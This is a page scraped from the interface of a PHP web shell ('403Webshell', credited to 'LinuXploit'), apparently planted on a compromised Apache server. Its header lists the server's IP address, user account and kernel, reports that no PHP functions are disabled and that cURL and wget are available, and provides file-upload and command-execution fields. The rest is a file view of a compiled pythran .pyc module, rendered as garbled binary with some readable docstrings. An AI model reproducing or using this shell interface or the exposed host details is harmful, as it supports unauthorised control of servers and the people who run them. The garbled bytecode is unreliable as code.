403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/pythran/transformations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/transformations/__pycache__/expand_globals.cpython-311.pyc
�

cR�aC���dZddlmZddlmZddlmZddlmZddl	m
Z
ddlZGd�d	ej
��ZGd
�de��ZdS)zu
ExpandGlobals replaces globals variables by function call.

It also turn globals assignment in function definition.
�)�LocalNameDeclarations)�Transformation)�PythranSyntaxError)�path_to_attr)�metadataNc��eZdZdZd�Zd�ZdS)�GlobalTransformerz?
    Use assumptions on globals to improve code generation
    c��|S�N���self�nodes  �H/usr/lib/python3/dist-packages/pythran/transformations/expand_globals.py�
visit_CallzGlobalTransformer.visit_Calls����c���tjtd��tj�fd�|jD��tj����gg��S)N)�builtins�pythran�static_listc�:��g|]}��|����Sr)�visit)�.0�eltrs  �r�
<listcomp>z0GlobalTransformer.visit_List.<locals>.<listcomp>s#���#I�#I�#I��D�J�J�s�O�O�#I�#I�#Ir)�ast�Callr�Tuple�elts�Loadr
s` r�
visit_ListzGlobalTransformer.visit_Lists[����x��%K�L�L���#I�#I�#I�#I�t�y�#I�#I�#I�"%�(�*�*�.�.�/����	rN)�__name__�
__module__�__qualname__�__doc__rr!rrrr	r	s<���������������rr	c�.��eZdZdZ�fd�Zd�Zd�Z�xZS)�
ExpandGlobalsa�
    Expands all builtins into full paths.

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> node = ast.parse('''
    ... a = 1
    ... def foo():
    ...     return a''')
    >>> pm = passmanager.PassManager("test")
    >>> _, node = pm.apply(ExpandGlobals, node)
    >>> print(pm.dump(backend.Python, node))
    def a():
        return 1
    def foo():
        return a()
    c���t��|_t��|_tt|�����dS)z; Initialize local declaration and constant name to expand. N)�set�
local_decl�	to_expand�superr'�__init__)r�	__class__s �rr-zExpandGlobals.__init__4s;����%�%��������
�m�T�"�"�+�+�-�-�-�-�-rc����t��}t��}|jD�]n}t|tjtjf��r.|jD]%}|jp|j	}|�
|���&nUt|tj��r;|j	|vrtd|j	z|���|�
|j	��t|tj
��s��|jD]�}t|tj��std|���|j�jvrtd|jz|���t|jtj��r|jj|vr���j�
|j������p|jD�]�}t|tj
���r>t'�fd�|jD����r|�|���Tt���_t-�����|j����}|jD]�}t|tj��sJ�|�t	j|jt	jggdggdg��t	j|���ggdd����t5j
|djdt5j��������\��t:|���_|���|��������xjt?�j��zc_||_|S)z@Turn globals assignment to functionDef and visit function defs. z$Multiple top-level definition of %s.z&Top-level assignment to an expression.c3�h�K�|],}t|tj��o
|j�jvV��-dSr)�
isinstancer�Name�idr+)r�trs  �r�	<genexpr>z-ExpandGlobals.visit_Module.<locals>.<genexpr>`sQ�����.�.��"�!�S�X�.�.�M�1�4�t�~�3M�.�.�.�.�.�.rN)�value���r) �listr)�bodyr1r�Import�
ImportFrom�names�asname�name�add�FunctionDefr�Assign�targetsr2r3r+r6�all�appendr*r	r�	arguments�Returnr�StaticReturn�gatherr�update�bool)	rr�module_body�symbols�stmt�aliasr>�target�	cst_values	`        r�visit_ModulezExpandGlobals.visit_Module:sw����f�f���%�%���I�	.�	.�D��$���S�^� <�=�=�

+�!�Z�&�&�E� �<�5�5�:�D��K�K��%�%�%�%�&��D�#�/�2�2�
+��9��'�'�,�>���J������K�K��	�*�*�*��d�C�J�/�/�
���,�
.�
.��!�&�#�(�3�3� �,�@�� � � ��9���.�.�,�>���J�� � � ��d�j�#�(�3�3�!��z�}��/�/� ���"�"�6�9�-�-�-�-�
.��I�	5�	5�D��$��
�+�+�
5��.�.�.�.� $��.�.�.�.�.���&�&�t�,�,�,��"%�%�%���-�/�/�5�5�d�j�j���6L�6L�M�M�	�"�l�	:�	:�F�%�f�c�h�7�7�7�7�7��&�&����	�(+�
�b�"�d�B�68�$��)D�)D�),��)�)D�)D�)D�(E�(*�D�$�	8�8�9�9�9��L��R��!5�a�!8�!)�!6�!8�!8�:�:�:�:�	:�#'�+�+�)�4�#1�#1����"�"�4�:�:�d�#3�#3�4�4�4�4����t�D�N�+�+�+�����	��rc��t|jtj��r:|j|jvr,|j|jvrd|_tj|gg���S|S)z�
        Turn global variable used not shadows to function call.

        We check it is a name from an assignment as import or functions use
        should not be turn into call.
        T)�func�args�keywords)	r1�ctxrr r3r*r+rIrr
s  r�
visit_NamezExpandGlobals.visit_Name{sd��
�t�x���*�*�	2���t��.�.���4�>�)�)��D�K��8��!#�b�2�2�2�
2��r)r"r#r$r%r-rQrW�
__classcell__)r.s@rr'r' sa���������$.�.�.�.�.�?�?�?�B
�
�
�
�
�
�
rr')r%�pythran.analysesr�pythran.passmanagerr�pythran.syntaxr�
pythran.utilsrrr�gastr�NodeTransformerr	r'rrr�<module>r_s�����3�2�2�2�2�2�.�.�.�.�.�.�-�-�-�-�-�-�&�&�&�&�&�&�����������������+����"h�h�h�h�h�N�h�h�h�h�hr

Youez - 2016 - github.com/yon3zu
LinuXploit